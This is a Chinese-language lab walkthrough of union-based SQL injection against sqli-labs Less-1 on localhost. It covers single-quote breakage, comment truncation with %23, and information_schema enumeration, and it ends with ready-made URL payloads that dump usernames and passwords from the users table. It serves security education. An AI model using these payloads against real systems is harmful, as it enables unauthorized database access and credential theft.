前置知识点:
1. SELECT 1,2,3 用于查询数据通道的方式
例如Less-1中,Secury数据库中的users表结构如下,可以看到有散列,当用户在页面输入id的时候,会查询到对应的散列数据也就是<id>/<username>/<password>,而php并不会将所有的数据返回给web,就说明<数据通道>的概念,数据必须通过<username>/<password>这个数据位置,才能够返回到我们的web页面。
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+------------+
在测试中可以看到,虽然url中输入了select 1,2,3,但也只有2,3出现在了页面上,也就说明只有2,3的数据通道是可以正确地向web回显数据。
2. ' 单引号的利用
在网页后端的php代码中可以看到(下图),$_GET拿到URL传过来的id值,那么此时的id值为0'(因为URL中将0'作为id的值传递),而在后续的SQL语句拼接过程中,会拼接为:
SELECT * FROM users WHERE id='0'' LIMIT 0,1
而这条语句明显错误无法执行,故而报错。这个方式想要证明的就是”php脚本没有检查$id的值是否正确就传递给SQL运行”,满足这一条件,即可开始尝试SQL注入。
所以其实无论用0'也好,and 1=2,?id=-1也好,其最终目的都是为了让PHP脚本在拼接SQL语句时形成错误,提交给SQL执行并返回报错。
if(isset($_GET['id']))
{
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
3. # 井号的利用(注释后续代码)
通过对比就能看懂,#的URL编码为%23,先演示如果不加%23,会变成什么样
http://127.0.0.1/sqli-labs-master/Less-1/?id=0' union select 1,2,3
if(isset($_GET['id']))
//此处的$_GET值为 0' union select 1,2,3
{
$id=$_GET['id'];
//此处的$id值为 0' union select 1,2,3
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
//此处的$sql值为 SELECT * FROM users WHERE id='0' union select 1,2,3' LIMIT 0,1
可以很清楚的看到上图最后一行的语法 id = '0'可以被执行,但是union语句后面的select 1,2,3' LIMIT 0,1就无法被执行了,只因为多了一个单引号。而加上%23后,语句会变成:
http://127.0.0.1/sqli-labs-master/Less-1/?id=0' union select 1,2,3%23
if(isset($_GET['id']))
//此处的$_GET值为 0' union select 1,2,3#
{
$id=$_GET['id'];
//此处的$id值为 0' union select 1,2,3#
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
//此处的$sql值为 SELECT * FROM users WHERE id='0' union select 1,2,3#' LIMIT 0,1
上述语句就变成了union select 1,2,3# LIMIT 0,1,而#的作用就是将后续的 ' LIMIT 0,1注释掉了,这样语句就可以正常执行了。
4.在MySQL5.0以上的版本中,会自带一个数据库<information_schema>该库记录了整个MySQL数据库中所有的数据库名、表名、列名,所以5.0以上的MySQL数据库只要存在SQL注入,就可以通过<information_schema>数据库获得想要的信息。
5.MySQL本身自带函数,可以通过执行这些函数来获取一些数据库本身的信息
SELECT DATABASE();/SELECT SCHEMA();
查看当前正在使用的数据库
SELECT VERSION();
查看数据库版本
SELECT USER();
查看当前用户
SELECT @@version_compile_os;
查看当前操作系统版本
正文开始
结尾处给一个0'的参数
?id=0'
//0'的用法在本文开头详细阐述
尝试union联合注入,并且select 1,2,3测试数据通道
?id=0' union select 1,2,3%23
//select 1,2,3 与%23的用法,都在本文开头有详细阐述
看一下调用的数据库名和登录用户
?id=0' union select 1,database(),user()%23
找到库名了,通过<information_schema.tables>查表
?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23
//group_concat()函数用于拼接查询的结果,本来要输出很多行,用了这个函数就能输出到一行里,否则没法显示出全部的结果
//table_names是<information_schame>中<tables>表的一个列(内容为所有数据库的表名称),所以不加where的话就会有太多数据,这里加where筛选一下
//table_schema是表与之关联的数据库,所以where table_schema=database()的意思就是之查询当前数据库关联的表
所以直接写的话写成SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='SECURITY';返回的结果:
+------------+
| TABLE_NAME |
+------------+
| emails |
| referers |
| uagents |
| users |
+------------+
使用GROUP_CONCAT()函数SELECT group_concat(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='SECURITY';效果是:
+-------------------------------+
| group_concat(TABLE_NAME) |
+-------------------------------+
| emails,referers,uagents,users |
+-------------------------------+
拿到表名,同样方法找列名
?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'%23
//和拿表名是同样的方式,只不过是变一些变量而已,不详细阐述了
拿到列名,开始找值
?id=0' union select 1,2,group_concat(username,0x3a,password) from users%23
//因为php脚本就是在users表中拿取数据的,所以不需要指定路径
//其中0x3a为16进制的58,而ASCII表中58代表 : (冒号),所以添加它仅仅是为了在MySQL输出是可以输出为 <用户名 : 密码>的格式,不加也是可以读取到的,只不过无法分清用户名和密码
URL中添加了0x3a的输出结果👇
URL中没有添加0x3a的输出结果👇